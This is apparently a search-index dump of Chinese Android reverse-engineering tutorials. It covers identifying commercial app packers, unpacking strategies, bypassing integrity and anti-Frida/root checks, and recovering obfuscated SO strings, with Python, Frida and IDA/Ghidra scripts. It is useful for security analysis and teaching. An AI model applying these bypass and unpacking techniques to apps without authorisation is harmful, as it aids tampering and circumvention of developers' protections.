是否完整 完整可用 函数体为空 无标准 DEX Jadx 打开效果 正常反编译 关键函数为空 完全无法反编译 壳 SO 大小 \u003c 500KB 0.5-2MB \u003e 2MB 性能影响 几乎无 轻微 明显 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:6:3","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第三代指令级-vmp"},{"categories":null,"collections":null,"content":"自动化识别工具 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:7:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#自动化识别工具"},{"categories":null,"collections":null,"content":"APKiD 详细用法 $ apkid target.apk [+] target.apk!classes.dex |-\u003e compiler : dexlib 2.x |-\u003e packer : Tencent Legu [+] target.apk!lib/armeabi-v7a/libshella-2.10.3.1.so |-\u003e packer : Tencent Legu |-\u003e anti_disassembly : Tencent Legu ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:7:1","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#apkid-详细用法"},{"categories":null,"collections":null,"content":"自定义 Python 识别脚本 #!/usr/bin/env python3 \"\"\"APK 加固厂商识别脚本\"\"\" import zipfile, sys from pathlib import Path SIGNATURES = { \"360加固\": {\"so\": [\"libjiagu\", \"libprotectClass\"], \"assets\": [\".jiagu\"], \"app\": [\"com.stub.StubApp\"]}, \"腾讯乐固\": {\"so\": [\"liblegu\", \"libshella\", \"libshellx\"], \"assets\": [\"legu_data\", \"tosversion\"], \"app\": [\"com.tencent.StubShell\"]}, \"梆梆安全\": {\"so\": [\"libSecShell\", \"libsecexe\", \"libsecmain\"], \"assets\": [\"bangcle_classes\"], \"app\": [\"com.bangcle\", \"com.secshell\"]}, \"网易易盾\": {\"so\": [\"libnesec\"], \"assets\": [\"nesec.dat\", \"classes.dex.ys\"], \"app\": [\"com.netease.nis\"]}, \"爱加密\": {\"so\": [\"libijiami\", \"libexecmain\"], \"assets\": [\"ijiami.dat\"], \"app\": [\"com.ijiami\"]}, \"娜迦\": {\"so\": [\"libchaosvmp\", \"libddog\", \"libnagavm\"], \"assets\": [\"nagain\"], \"app\": [\"com.nagain\"]}, \"几维安全\": {\"so\": [\"libkwscmm\", \"libkwscr\"], \"assets\": [\"kiwi.dat\"], \"app\": [\"com.kiwisec\"]}, } def identify(apk_path): results = {} with zipfile.ZipFile(apk_path) as zf: files = zf.namelist() for name, sigs in SIGNATURES.items(): score, matches = 0, [] for f in files: fl = f.lower() for p in sigs[\"so\"]: if p.lower() in fl and f.endswith(\".so\"): score += 3; matches.append(f\"SO: {f}\") for p in sigs[\"assets\"]: if p.lower() in fl and \"assets\" in fl: score += 2; matches.append(f\"Assets: {f}\") # 检查 DEX 大小 for f in files: if f == \"classes.dex\" and zf.getinfo(f).file_size \u003c 500*1024: score += 1; matches.append(\"DEX \u003c 500KB\") if score \u003e 0: results[name] = {\"score\": score, \"matches\": matches} return results if __name__ == \"__main__\": apk = sys.argv[1] if len(sys.argv) \u003e 1 else exit(\"用法: python detect.py \u003capk\u003e\") for name, data in sorted(identify(apk).items(), key=lambda x: -x[1][\"score\"]): level = \"高\" if data[\"score\"] \u003e= 5 else \"中\" if data[\"score\"] \u003e= 3 else \"低\" print(f\"[{level}] {name} (分数:{data['score']})\") for m in data[\"matches\"]: print(f\" - {m}\") ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:7:2","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#自定义-python-识别脚本"},{"categories":null,"collections":null,"content":"RASP 运行时检测脚本 (Frida) // rasp_detect.js - 运行时检测加固类型 Java.perform(function() { var packer_map = { \"libjiagu\": \"360加固\", \"liblegu\": \"腾讯乐固\", \"libshella\": \"腾讯乐固\", \"libSecShell\": \"梆梆安全\", \"libnesec\": \"网易易盾\", \"libijiami\": \"爱加密\", \"libchaosvmp\": \"娜迦\", \"libkwscmm\": \"几维安全\", }; Process.enumerateModules().forEach(function(mod) { for (var key in packer_map) { if (mod.name.indexOf(key) !== -1) { console.log(\"[!] \" + mod.name + \" -\u003e \" + packer_map[key] + \" (base:\" + mod.base + \" size:\" + mod.size + \")\"); } } }); }); ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:7:3","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#rasp-运行时检测脚本-frida"},{"categories":null,"collections":null,"content":"针对不同壳的脱壳策略 加固厂商 壳代数 推荐脱壳方法 推荐工具 难度 360 基础版 一代 内存 dump Frida dump / FDex2 ★☆☆☆☆ 360 企业版 二代 FART 主动调用 FART / Youpk ★★★☆☆ 腾讯乐固 一代 修复 DEX 头 + dump Frida dump ★★☆☆☆ 梆梆基础 一代 内存 dump Frida dump ★★☆☆☆ 梆梆企业 二/三 FART + 手动修复 FART / IDA ★★★★☆ 爱加密 一/二 FART 主动调用 FART / Frida ★★★☆☆ 网易易盾 三代 Hook 关键 API / 不脱壳 Frida Hook / 动态分析 ★★★★★ 娜迦 二/三 FART + VMP 逆向 FART / IDA ★★★★☆ 几维安全 三代 VMP 逆向 / 运行时 Hook IDA / Frida ★★★★☆ 决策流程: 识别加固 --\u003e 一代壳 --\u003e Frida dump DEX --\u003e Jadx 反编译 --\u003e 二代壳 --\u003e FART 脱壳 --\u003e 回填 CodeItem --\u003e Jadx --\u003e 三代壳 --\u003e 值得脱壳? -- 是 --\u003e 逆向 VMP (数天~数周) -- 否 --\u003e Hook API / 抓包 / 内存搜索 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:8:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#针对不同壳的脱壳策略"},{"categories":null,"collections":null,"content":"SO 保护识别 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:9:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#so-保护识别"},{"categories":null,"collections":null,"content":"OLLVM 混淆识别 OLLVM 通过控制流平坦化增加逆向难度。IDA 中典型表现为星型 CFG（所有基本块回到一个中心分发器）。 正常函数 CFG: OLLVM 平坦化后 CFG: +-----+ +----------+ | 入口 | | 分发器 |\u003c-------+ +--+--+ | (switch) | | | +--+--+--+--+ | +--v--+ | | | | | | 判断 | +---+ | | +---+ | +--+--+ v v v v | | BB1 BB2 BB3 BB4 | +--v--+ +------+--+------+ | | 返回 | +---------------+ +-----+ 特征 正常函数 OLLVM 平坦化函数 基本块数量 \u003c 20 \u003e 50 CFG 形状 树状/DAG 星型（中心分发器） 函数大小 正常 膨胀 3-10 倍 反编译效果 正常 大量嵌套 switch ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:9:1","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#ollvm-混淆识别"},{"categories":null,"collections":null,"content":"SO VMP 识别 SO 层 VMP 将原生 ARM/ARM64 指令转换为自定义字节码，由嵌入的虚拟机解释执行。 识别特征： 原始 SO 函数: VMP 保护后: func_a: func_a: mov r0, #1 push {r0-r12} add r1, r0, #2 ldr r0, =vm_bytecode_a str r1, [sp] bl vm_dispatcher ----+ bx lr pop {r0-r12} | bx lr | | vm_dispatcher: \u003c---------+ ; 读取自定义字节码 ; 查 opcode handler 表 ; 分发执行 ; 循环直到 VM_EXIT 判断依据 具体表现 函数入口统一调用 dispatcher IDA 中大量函数只有 bl vm_entry 存在大段不可反汇编数据 IDA 标记为 .data 或 DCB 字节 函数指针数组（handler 表） IDA 中可见连续的函数指针表 SO 体积异常膨胀 相比未保护版本大 2-5 倍 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:9:2","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#so-vmp-识别"},{"categories":null,"collections":null,"content":"Anti-Tampering 识别 SO 文件完整性校验常见于加固后的 Native 库中。 校验方式 识别方法 绕过思路 CRC32 校验 搜索 crc32 函数调用 Hook crc32 返回期望值 SHA256 校验 搜索 SHA256_Init/Update/Final Hook SHA256 函数族 自实现校验 搜索 mmap + 循环读取 + 比较 定位校验函数并 NOP .init_array 校验 检查 ELF .init_array 段中的函数 修改 .init_array 入口 JNI_OnLoad 校验 分析 JNI_OnLoad 中的校验逻辑 Hook JNI_OnLoad 跳过 # 用 readelf 检查 .init_array（校验逻辑常藏在这里） readelf -d libnative.so | grep INIT readelf -x .init_array libnative.so ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:9:3","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#anti-tampering-识别"},{"categories":null,"collections":null,"content":"运行时保护识别 RASP 保护层次 +----------------------------------------------+ | 应用层: Root/Magisk/KernelSU 检测, 模拟器检测 | +----------------------------------------------+ | 框架层: Frida/Xposed 检测, 签名校验, DEX CRC | +----------------------------------------------+ | 系统层: ptrace 反调试, /proc/self/maps, | | TracerPid, SELinux 状态 | +----------------------------------------------+ 检测目标 检测方法 识别特征（Frida 可观测） Frida 扫描 27042 端口 / maps 中搜 frida connect() 到 27042 / fopen Root 检查 /system/bin/su 等路径 File.exists() 访问 su 路径 Xposed 查找 de.robv.android.xposed 类 ClassLoader.loadClass() 调用 调试器 ptrace(PTRACE_TRACEME) / TracerPid ptrace syscall / 读取 status 完整性 DEX CRC / APK 签名校验 getPackageInfo() + 签名比对 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:10:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#运行时保护识别"},{"categories":null,"collections":null,"content":"实战：快速判断加固方案 💡 思路一句话: 解压 APK → 检查 lib/ 目录下的 SO 文件名（libjiagu.so=360, libsecexe.so=梆梆, libexec.so=爱加密）→ 检查 AndroidManifest 中的 Application 类名 → 5 秒判断加固方案。 完整工作流（约 5 分钟）： ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:11:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#实战快速判断加固方案"},{"categories":null,"collections":null,"content":"第 1 步：基础检查 # 解压并检查 DEX 大小 -- 小于 500KB 基本确认加固 unzip -l target.apk | grep \"classes.dex\" # 列出所有 SO 文件 unzip -l target.apk | grep \"\\.so$\" # 查看 DEX 文件头 unzip -p target.apk classes.dex | xxd | head -1 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:11:1","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第-1-步基础检查"},{"categories":null,"collections":null,"content":"第 2 步：APKiD 扫描 apkid target.apk ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:11:2","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第-2-步apkid-扫描"},{"categories":null,"collections":null,"content":"第 3 步：Manifest 确认 aapt dump xmltree target.apk AndroidManifest.xml | grep \"android:name\" # 比对本文「加固厂商识别指纹总表」中的 Application 类名 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:11:3","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第-3-步manifest-确认"},{"categories":null,"collections":null,"content":"第 4 步：制定策略 识别结果 --\u003e 查阅「针对不同壳的脱壳策略」表 | +-\u003e 一代壳 -\u003e Frida dump -\u003e Jadx 反编译 -\u003e 分析 +-\u003e 二代壳 -\u003e FART 脱壳 -\u003e 回填 CodeItem -\u003e 分析 +-\u003e 三代壳 -\u003e 评估是否值得脱壳 | +-- 是 -\u003e 逆向 VMP 解释器（耗时数天到数周） | +-- 否 -\u003e Hook 关键 API / 网络抓包 / 内存搜索 +-\u003e 未加固 -\u003e 直接 Jadx 反编译 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:11:4","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第-4-步制定策略"},{"categories":null,"collections":null,"content":"完整示例 (360 加固) $ apkid target.apk [+] target.apk!classes.dex |-\u003e packer : Qihoo 360 (DexProtector) [+] target.apk!lib/armeabi-v7a/libjiagu.so |-\u003e packer : Qihoo 360 $ unzip -l target.apk | grep \"\\.so$\" lib/armeabi-v7a/libjiagu.so lib/armeabi-v7a/libjiagu_art.so # 确认 360 加固，一代壳 -\u003e Frida dump 即可 $ frida -U -f com.target.app -l frida_dex_dump.js --no-pause # dump 后用 Jadx 打开分析 总结：加固识别是逆向分析的第一步。掌握各厂商的静态特征\"指纹\"后，结合 APKiD 自动化工具和手动验证，可以在 5 分钟内完成加固方案的判定，从而选择最高效的脱壳和分析策略。 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:11:5","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#完整示例-360-加固"},{"categories":null,"collections":null,"content":"SO 文件字符串混淆对抗指南 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 .rodata 段与字符串存储 Frida Native Hook - 动态拦截解密函数 在 Android Native 层安全中，字符串混淆是一种用于隐藏敏感信息、增加逆向分析难度的常用技术。开发者通过对 SO 文件中的关键字符串（如 API URL、加密密钥、Shell 命令、功能开关等）进行编码或加密，可以有效防止静态分析工具（如 strings 命令或 IDA Pro 的字符串窗口）直接发现它们。 本文旨在系统性地介绍 SO 文件中常见的字符串混淆技术，并提供一套从静态分析到动态分析的完整对抗策略。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:0:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#so-文件字符串混淆对抗指南"},{"categories":null,"collections":null,"content":"字符串混淆的核心思想 其本质是避免将明文字符串直接存储在二进制文件的 .rodata 或 .data 段中。取而代之的是，在程序运行时，通过特定的函数动态地在内存中（栈或堆）恢复出原始的字符串。 一个典型的流程如下： 加密的字节数组 -\u003e 解密/解混淆函数 -\u003e 内存中的明文字符串 我们的目标就是截获\"内存中的明文字符串\"。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:1:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#字符串混淆的核心思想"},{"categories":null,"collections":null,"content":"常见的混淆技术 简单编码: Base64: 将 Base64 编码后的字符串存储，使用时再解码。 ROT13/Caesar Cipher: 简单的字符位移。 按位运算: XOR (异或): 将原始字符串与一个固定的（或动态计算的）密钥进行按字节异或。这是最常见、最高效的一种方式。 栈上构建: 不在任何段中存储字符串，而是在函数开始时，通过一系列 mov 指令逐字节地将字符串 push 到栈上。 void get_secret_string() { char secret[12]; secret[0] = 's'; secret[1] = 'e'; // ... secret[10] = 't'; secret[11] = '\\0'; // use secret } 标准加密算法: 使用如 AES, RC4, DES 等标准对称加密算法。密钥本身可能被再次混淆或从其他地方动态获取。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:2:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#常见的混淆技术"},{"categories":null,"collections":null,"content":"对抗策略一：静态分析 (IDA Pro / Ghidra) 静态分析的目标是理解解密逻辑并自动化地应用它。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:3:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#对抗策略一静态分析-ida-pro--ghidra"},{"categories":null,"collections":null,"content":"识别解密/解混淆函数 特征: 解密函数通常具有以下一个或多个特征： 接受一个指向字节数组的指针和一个长度作为参数。 函数内部包含一个循环结构（for / while）。 循环内部有按位操作，特别是 XOR (异或) 指令。 函数的交叉引用（Xrefs）非常多，且调用的地方都伴随着一个数据块的地址。 方法: 在 IDA Pro 或 Ghidra 中，通过搜索这些代码模式，通常能很快定位到核心的解密函数。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:3:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#识别解密解混淆函数"},{"categories":null,"collections":null,"content":"定位交叉引用 一旦你识别出了解密函数（例如 decrypt_string），立即查看它的所有交叉引用。每一个调用 decrypt_string 的地方，都是一个加密字符串被使用的地方。传递给该函数的参数，就是加密的数据。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:3:2","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#定位交叉引用"},{"categories":null,"collections":null,"content":"自动化脚本解密 这是静态分析的精髓所在。 分析算法: 仔细阅读解密函数的汇编或反编译代码，用一种高级语言（如 Python）重新实现其逻辑。 # 示例: Python 实现的简单 XOR 解密算法 def decrypt_xor(data, key): decrypted = bytearray() for i in range(len(data)): decrypted.append(data[i] ^ key[i % len(key)]) return decrypted.decode('utf-8') 脚本逻辑: 获取解密函数的地址。 遍历该函数的所有交叉引用。 在每个交叉引用的地方，解析其参数，提取出加密数据块的地址和长度。 读取加密数据。 调用步骤 1 中实现的 Python 解密函数。 将解密后的明文字符串，作为注释，添加到交叉引用的代码行旁边。 效果: 运行脚本后，IDA/Ghidra 中的代码将变得非常易读，所有加密字符串都以注释的形式被\"还原\"了。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:3:3","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#自动化脚本解密"},{"categories":null,"collections":null,"content":"对抗策略二：动态分析 (Frida) 动态分析的核心思想是不关心解密过程，只关心解密结果。它通常更快速、更直接。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:4:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#对抗策略二动态分析-frida"},{"categories":null,"collections":null,"content":"Hook 解密函数（首选策略） 这是对抗字符串混淆最简单、最高效的方法。 定位函数: 使用静态分析工具（IDA/Ghidra）找到解密函数的地址。 编写 Frida 脚本: Hook onEnter: 在进入解密函数时，打印其输入参数（加密的字节数组）。 Hook onLeave (更常用): 在函数返回时，直接读取其返回值。因为返回值通常就是指向内存中明文字符串的指针。 const decryptFuncPtr = Module.findExportByName( \"libnative-lib.so\", \"Java_com_example_MainActivity_decryptString\" ); // 或者直接使用地址: // const decryptFuncPtr = Module.getBaseAddress(\"libnative-lib.so\").add(0x1234); Interceptor.attach(decryptFuncPtr, { onEnter: function(args) { console.log(\"进入 decryptString，数据: \" + args[0].readCString()); }, onLeave: function(retval) { // retval 是指向解密后字符串的指针 var decryptedString = retval.readCString(); console.log(\"解密后的字符串 -\u003e \" + decryptedString); // 可以进一步将结果写入文件 // send({ decrypted: decryptedString }); } }); ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:4:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#hook-解密函数首选策略"},{"categories":null,"collections":null,"content":"内存漫游与搜索 在某些情况下，App 可能会在启动时一次性解密大量字符串，并将它们存放在一个特定的内存区域。 方法: 让 App 运行一段时间。 使用 Frida 的 Memory.scan API 在进程的整个内存空间中搜索你感兴趣的字符串模式（例如，https://）。 // 十六进制表示 \"https://\" var pattern = \"68 74 74 70 73 3a 2f 2f\"; var module = Process.findModuleByName(\"libnative-lib.so\"); Memory.scan(module.base, module.size, pattern, { onMatch: function(address, size) { console.log(\"在以下地址找到模式: \" + address); // 可能需要回退一些字节来找到字符串的起始位置 console.log(address.readCString()); }, onComplete: function() { console.log(\"内存扫描完成。\"); } }); ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:4:2","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#内存漫游与搜索"},{"categories":null,"collections":null,"content":"对抗策略三：IDA Pro 自动化脚本 当你已经理解了解密算法，可以编写 IDA Python 脚本批量解密所有字符串并添加注释。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:5:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#对抗策略三ida-pro-自动化脚本"},{"categories":null,"collections":null,"content":"示例：XOR 解密脚本 import idautils import idaapi import idc class StringDecryptor: \"\"\"IDA Pro 字符串批量解密器\"\"\" def __init__(self, decrypt_func_addr, xor_key): self.decrypt_func = decrypt_func_addr self.xor_key = xor_key def xor_decrypt(self, data): \"\"\"XOR 解密\"\"\" result = bytearray() for i, b in enumerate(data): result.append(b ^ self.xor_key[i % len(self.xor_key)]) return result.decode('utf-8', errors='ignore').rstrip('\\x00') def get_encrypted_data(self, call_addr): \"\"\" 从调用点提取加密数据的地址和长度 假设调用约定: decrypt_string(encrypted_ptr, length) \"\"\" # 回溯查找参数设置指令 prev_head = idc.prev_head(call_addr) encrypted_ptr = None length = None # 简化处理：向前查找 MOV 指令 for _ in range(10): mnem = idc.print_insn_mnem(prev_head) if mnem in ['MOV', 'LDR', 'LEA']: op0 = idc.get_operand_value(prev_head, 0) op1 = idc.get_operand_value(prev_head, 1) # 根据寄存器判断是哪个参数 # 这里需要根据实际情况调整 prev_head = idc.prev_head(prev_head) return encrypted_ptr, length def process_all_xrefs(self): \"\"\"处理解密函数的所有交叉引用\"\"\" decrypted_count = 0 for xref in idautils.XrefsTo(self.decrypt_func): call_addr = xref.frm # 获取加密数据 try: encrypted_ptr, length = self.get_encrypted_data(call_addr) if encrypted_ptr and length: # 读取加密数据 encrypted_data = idc.get_bytes(encrypted_ptr, length) if encrypted_data: # 解密 decrypted = self.xor_decrypt(encrypted_data) # 添加注释 idc.set_cmt(call_addr, f'Decrypted: \"{decrypted}\"', 0) print(f\"[+] 0x{call_addr:x}: {decrypted}\") decrypted_count += 1 except Exception as e: print(f\"[-] 0x{call_addr:x}: 处理失败 - {e}\") print(f\"\\n[*] 共解密 {decrypted_count} 个字符串\") # 使用示例 if __name__ == \"__main__\": # 配置解密函数地址和密钥 DECRYPT_FUNC = 0x12340 # 替换为实际地址 XOR_KEY = bytes([0x5A, 0x3C, 0x7B, 0x2E]) # 替换为实际密钥 decryptor = StringDecryptor(DECRYPT_FUNC, XOR_KEY) decryptor.process_all_xrefs() ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:5:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#示例xor-解密脚本"},{"categories":null,"collections":null,"content":"示例：通用解密框架 import idaapi import idautils import idc def find_decrypt_functions(): \"\"\" 自动识别可能的解密函数 特征：高交叉引用数 + 包含 XOR 操作 + 循环结构 \"\"\" candidates = [] for func_ea in idautils.Functions(): xref_count = len(list(idautils.XrefsTo(func_ea))) # 高交叉引用数是解密函数的典型特征 if xref_count \u003c 10: continue # 检查是否包含 XOR 指令 has_xor = False has_loop = False for head in idautils.Heads(func_ea, idc.find_func_end(func_ea)): mnem = idc.print_insn_mnem(head) if mnem == 'EOR' or mnem == 'XOR': # ARM: EOR, x86: XOR has_xor = True if mnem in ['B', 'JMP', 'BNE', 'JNE']: # 循环跳转 target = idc.get_operand_value(head, 0) if target \u003c head: # 向后跳转（循环特征） has_loop = True if has_xor and has_loop: func_name = idc.get_func_name(func_ea) candidates.append({ 'addr': func_ea, 'name': func_name, 'xrefs': xref_count }) print(f\"[*] 候选解密函数: {func_name} @ 0x{func_ea:x} (xrefs: {xref_count})\") return candidates # 运行识别 find_decrypt_functions() ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:5:2","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#示例通用解密框架"},{"categories":null,"collections":null,"content":"对抗策略四：Ghidra 脚本解密 Ghidra 的 Java/Python API 同样可以实现自动化解密。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:6:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#对抗策略四ghidra-脚本解密"},{"categories":null,"collections":null,"content":"Ghidra Python 脚本示例 # Ghidra 脚本：批量解密字符串 # 在 Ghidra Script Manager 中运行 from ghidra.program.model.symbol import RefType from ghidra.program.model.listing import CodeUnit def xor_decrypt(data, key): \"\"\"XOR 解密\"\"\" result = [] for i, b in enumerate(data): result.append(chr(b ^ key[i % len(key)])) return ''.join(result).rstrip('\\x00') def get_bytes_at(addr, size): \"\"\"读取指定地址的字节\"\"\" bytes_list = [] for i in range(size): b = getByte(addr.add(i)) bytes_list.append(b \u0026 0xFF) return bytes_list def process_decrypt_function(decrypt_func_addr, xor_key): \"\"\"处理解密函数的所有引用\"\"\" func = getFunctionAt(toAddr(decrypt_func_addr)) if not func: print(\"[-] 未找到函数\") return # 获取所有调用点 refs = getReferencesTo(func.getEntryPoint()) for ref in refs: if ref.getReferenceType() == RefType.UNCONDITIONAL_CALL: call_addr = ref.getFromAddress() # 这里需要分析调用点的参数 # 简化示例：假设加密数据地址在调用前的某个指令中 print(f\"[*] 调用点: {call_addr}\") # 添加注释（示例） # codeUnit = currentProgram.getListing().getCodeUnitAt(call_addr) # codeUnit.setComment(CodeUnit.EOL_COMMENT, \"Decrypted: xxx\") # 配置 DECRYPT_FUNC = 0x12340 XOR_KEY = [0x5A, 0x3C, 0x7B, 0x2E] process_decrypt_function(DECRYPT_FUNC, XOR_KEY) ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:6:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#ghidra-python-脚本示例"},{"categories":null,"collections":null,"content":"对抗策略五：Unidbg 模拟执行 当解密算法过于复杂，或者涉及多层加密时，使用 Unidbg 直接调用 SO 中的解密函数是最稳妥的方法。 